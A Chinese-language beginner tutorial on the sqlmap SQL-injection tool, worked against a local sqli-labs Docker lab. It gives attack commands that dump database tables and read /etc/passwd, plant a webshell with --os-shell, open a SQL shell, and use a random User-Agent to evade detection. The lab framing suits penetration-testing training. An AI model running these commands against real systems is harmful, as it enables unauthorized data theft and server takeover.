SQLmap入门学习
# 关于sqlmap
sqlmap 是一款开源渗透测试工具,可以自动检测和利用 SQL 注入漏洞,并接管数据库服务器。
SQLmap官方文档SQLmap wiki (opens new window)
# sqlmap安装
kali自带了sqlmap,直接在终端输入sqlmap
即可使用。
windows可以直接下载sqlmap (opens new window),解压后在终端进入sqlmap目录,输入python sqlmap.py
,需要python环境。
# sqlmap常用参数
sqlmap参数 | 作用 | 用法 |
---|---|---|
-h | 帮助信息 | sqlmap -h |
-u | 指定目标URL | sqlmap -u "http://example.com/page.php?id=1" |
-r | 从文件中读取HTTP请求 | sqlmap -r "request.txt" |
-d | 直接连接数据库(低版本mysql) | sqlmap -d "mysql://user:pass@ip/database" |
-D | 指定数据库名 | sqlmap -u "http://example.com/?id=1" -D dbname |
-T | 指定表名 | sqlmap -u "http://example.com/?id=1" -D dbname -T tablename |
-C | 指定列名 | sqlmap -u "http://example.com/?id=1" -D dbname -T tablename -C columnname |
-p | 指定测试参数 | sqlmap -u "http://example.com/?id=1&page=2" -p id |
-v | 设置详细级别(0-6) | sqlmap -u "http://example.com/?id=1" -v 3 |
--dbms | 指定数据库类型 | sqlmap -u "http://example.com/?id=1" --dbms=mysql |
--dbs | 枚举所有数据库 | sqlmap -u "http://example.com/?id=1" --dbs |
--current-db | 获取当前数据库名 | sqlmap -u "http://example.com/?id=1" --current-db |
--tables | 枚举数据库中的表 | sqlmap -u "http://example.com/?id=1" -D dbname --tables |
--columns | 枚举表中的列 | sqlmap -u "http://example.com/?id=1" -D dbname -T tablename --columns |
--dump | 导出表中数据 | sqlmap -u "http://example.com/?id=1" -D dbname -T tablename --dump |
--cookie | 指定cookie值 | sqlmap -u "http://example.com/" --cookie="PHPSESSID=value" |
--data | POST数据 | sqlmap -u "http://example.com/login.php" --data="user=admin&pass=admin" |
--level | 设置检测级别(1-5) | sqlmap -u "http://example.com/?id=1" --level=3 |
--risk | 设置风险级别(1-3) | sqlmap -u "http://example.com/?id=1" --risk=2 |
--batch | 自动化探测,交互过程使用默认参数 | sqlmap -u "http://example.com/?id=1" --batch |
--flush-session | 刷新会话数据 | sqlmap -u "http://example.com/?id=1" --flush-session |
--random-agent | 随机User-Agent | sqlmap -u "http://example.com/?id=1" --random-agent |
--technique | 指定SQL注入技术 | sqlmap -u "http://example.com/?id=1" --technique=BEU |
--hex | 使用十六进制编码 | sqlmap -u "http://example.com/?id=1" --hex |
--file-read | 读取服务器文件 | sqlmap -u "http://example.com/?id=1" --file-read=/etc/passwd |
--os-shell | 获取交互式系统shell | sqlmap -u "http://example.com/?id=1" --os-shell |
--sql-shell | 获取交互式SQL shell | sqlmap -u "http://example.com/?id=1" --sql-shell |
--time-sec | 设置延时注入时间 | sqlmap -u "http://example.com/?id=1" --technique=T --time-sec=10 |
一般是单字参数使用-
,多字符参数使用--
# 靶场环境部署
使用docker部署一个sqli-labs靶场环境。
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8080:80 acgpiano/sqli-labs:latest
2
访问 http://ip:8080/ 即可进入靶场。
# sqlmap使用
开始前的建议:建议先尝试手注完成sqli-labs
整个靶场,掌握基本的手注原理
# -u,-p,-v,--batch
进入less-1,这是一个GET请求方式的单引号类型sql注入点
-u 指定目标URL -p 指定测试参数,如果待测试参数为get类型,且出现在-u的url中时,-p可以省略 -v 设置日志级别(0-6),默认使用-v 1,可以省略 --batch 自动化探测,交互过程使用默认参数
先尝试手注,发现是单引号类型,猜测后台语句
$sql = "SELECT * FROM users WHERE id = '$_GET[id]'";
使用sqlmap进行测试
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1"
sqlmap执行过程会出现交互过程,供用户选择参数,可以执行回车,使用默认参数
过程的交互提示类似:
# 检测到后台是mysql,是否跳过其他类型数据库的测试
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
# 是否跳过其他类型的注入测试
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
# 检测到GET参数'id'存在注入漏洞,是否跳过测试其他参数
# 也是关键提示,提示是否检测到当前参数存在sql注入漏洞
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
2
3
4
5
6
7
你也可以使用--batch
参数,跳过交互过程,过程会全部使用默认参数。
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --batch
sqlmap的结尾有这样的内容,意思是,这个注入点可以使用联合注入,报错注入,时间盲注,布尔盲注
四种方式
同时,末尾还给出了探测到的信息
[13:39:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.5
2
3
4
在上面的命令中,会识别使用默认的参数-p id
、-v 1
,所以上面命令也等效于下面这个
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 1 --batch
小细节
sqlmap的特征?SQLmap在进行http请求时,UA头使用了User-Agent: sqlmap/1.9.3.2#dev (https://sqlmap.org)
# -v,--flush-session,--random-agent
觉得-v
参数可以单独拿出来说说
0:仅显示 Python 回溯、错误和关键消息。 1:同时显示信息和警告消息,默认级别。 2:显示DEBUG 调试消息。 3:显示注入的payload。 4:显示详细 HTTP 请求。 5:显示 HTTP 响应的标头。 6:显示服务器 HTTP 响应的页面内容。
这里讲讲-v
、--flush-session
和--random-agent
的使用
-v n 其中-v 2可以表示为-vv --flush-session 刷新会话数据,清除之前的会话数据 --random-agent 随机User-Agent
由于上面已经对less-1
进行了测试,sqlmap会有缓存文件,再测试这个站点时,会直接使用测试过的环境,这里为了验证这些参的作用,就先清除缓存
在-v
参数使用2级时,可以看到sqlmap测试时的细节,跳过了其他类型的数据库
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -vv --flush-session --batch
在-v
参数使用3级时,可以看到sqlmap测试过程使用的payload
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 3 --flush-session --batch
在-v
参数使用4级时,可以看到sqlmap测试过程使用的HTTP请求详细信息,其中ua头里的sqlmap字段算是特征
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 4 --flush-session --batch
在-v
参数使用5级时,可以看到sqlmap测试过程中,发送一个请求,返回一个响应的HTTP头信息
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 5 --flush-session --batch
在-v
参数使用6级时,可以看到sqlmap测试过程中,还返回了页面的内容
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 6 --flush-session --batch
使用--random-agent
参数,可以随机生成一个User-Agent,避免被网站识别到是sqlmap的特征,使用-v 4,可以看到请求头中随机生成的User-Agent字段
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -v 4 --flush-session --random-agent --batch
# --dbs,--tables,--columns,--dump,-D,-T,-C
这里的参数在上面sqlmap探测出参数存在漏洞时,就可以指定这些参数,拿到数据库数据
--dbs 获取数据库列表 --tables 获取指定数据库的表列表 --columns 获取指定数据库指定表的列名 --dump 获取指定数据库指定表的列数据 -D 指定数据库 -T 指定表 -C 指定列
爆出所有数据库
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbs --flush-session --batch
使用-D
参数指定数据库security
,使用--tables
参数获取表列表
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -D security --tables --flush-session --batch
使用-T
参数指定users
表,使用--columns
参数获取列名
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -D security -T users --columns --flush-session --batch
使用--dump
,脱出指定表的数据
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id -D security -T users --dump --flush-session --batch
# --dbms,--technique,--no-cast,--hex
在最初,尝试手注测试时,可以看到报错是mysql,同时,页面存在可控的回显位
那么就可以通过指定--dbms
参数,指定数据库类型为mysql,跳过其他数据库类型的检测,使用--technique
参数,页面存在回显位,指定注入方式为联合注入
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch
sqlmap提示找到了注入点,给出了测试payload,但是后面说,在测试过程,没有拿到--dbs
参数的结果,页面没有返回结果
但是可以使用--no-cast
或者--hex
参数,关闭mysql的类型转换或编码绕过。
通过把-v
参数指定为6级,看看页面返回内容
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch -v 6
老版本 MySQL 没有自动字符集转换机制,sqlmap的payload不兼容,mysql报错。
<font color= "#FFFF00">Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation 'UNION'</font></font> </div></br></br></br><center>
尝试使用--no-cast
参数,关闭mysql的类型转换,拿到数据
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch --no-cast
尝试使用--hex
参数,使用十六进制编码绕过,也可以拿到数据
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=U --dbs --flush-session --batch --hex
technique参数还可以使用其他注入方式,B
表示布尔盲注,E
表示报错注入,T
表示时间盲注
这道题比较简单,多种注入姿势都是可以的
速度排序:联合注入(U) > 报错注入(E) > 布尔盲注(B) > 时间盲注(T)
报错注入(E):
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=E --dbs --flush-session --batch
布尔盲注(B):
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=B --dbs --flush-session --batch
时间盲注(T):
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" --dbms=mysql --technique=T --dbs --flush-session --batch
# --forms,--data,-r
这里使用Less-11
,这是一个POST请求方式的单引号类型sql注入点
--forms 自动检测表单注入点 --data 指定POST数据 --r 从抓到的http包中提取参数
使用--forms
参数,把工作直接交给sqlmap,让sqlmap自己探测要提交的表单参数,指定探测参数uname、联合注入,hex编码结果
sqlmap -u "http://192.168.6.112:8080/Less-11/?id=1" --dbms=mysql --forms -p uname --dbs --technique=U --flush-session --batch --hex
使用--data
参数,指定POST数据,使用-p
参数指定探测参数uname,在windows平台怪怪的,&
字符有特殊语义
sqlmap -u "http://192.168.6.112:8080/Less-11/?id=1" --dbms=mysql --data="passwd=1&submit=Submit&uname=1" -p uname --dbs --technique=U --flush-session --batch --hex
使用-r
参数,从抓到的http包中提取参数,使用-p
参数指定探测参数uname
先用burp抓个包,保存到一个txt文件里
复制文件的路径
使用sqlmap -r
参数,指定抓包文件路径,使用-p
参数指定探测参数uname
sqlmap -r "f:\\Desktop\\slq.txt" --dbms=mysql -p uname --dbs --technique=U --flush-session --batch --hex
# --file-read,--os-shell,--sql-shell,--output-dir
回到Less-1
这一关演示。
--file-read 读取服务器文件(使用了mysql的load_file函数) --os-shell 获得一个交互的shell(上传一个webshell,在结束命令执行时,删除自身) --sql-shell 获得一个交互的sqlshell(可以执行sql语句)
使用--file-read
参数,读取服务器文件
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --file-read=/etc/passwd --flush-session --batch
读取成功,使用了16进制进行了一次编码,同时保存了一份解码文件在本地的C盘用户目录下
可以使用--output-dir
参数,指定输出目录在桌面,我的终端在桌面打开的,直接指定当前目录了
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --file-read=/etc/passwd --flush-session --batch --output-dir=./
尝试写入webshell,这个靶场有点问题,进入docker内,授权写权限
docker exec -it sqli-lab /bin/sh
chmod 777 -R /var/www/html/
2
使用--os-shell
参数,获得一个交互的shell,
注意:这个过程会上传webshell,如果你需要手动指定目录时,不要使用--batch参数,如果是常见的/var/www/html/目录,sqlmap可以自动尝试上传到这个目录下
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --os-shell --flush-session --batch
退出这个webshell后,这个webshell会自动删除自身
使用--sql-shell
参数,获得一个交互的sqlshell
sqlmap -u "http://192.168.6.112:8080/Less-1/?id=1" -p id --dbms=mysql --sql-shell --flush-session --batch
拿到了sqlshell,可以执行sql语句,当前是mysql的root用户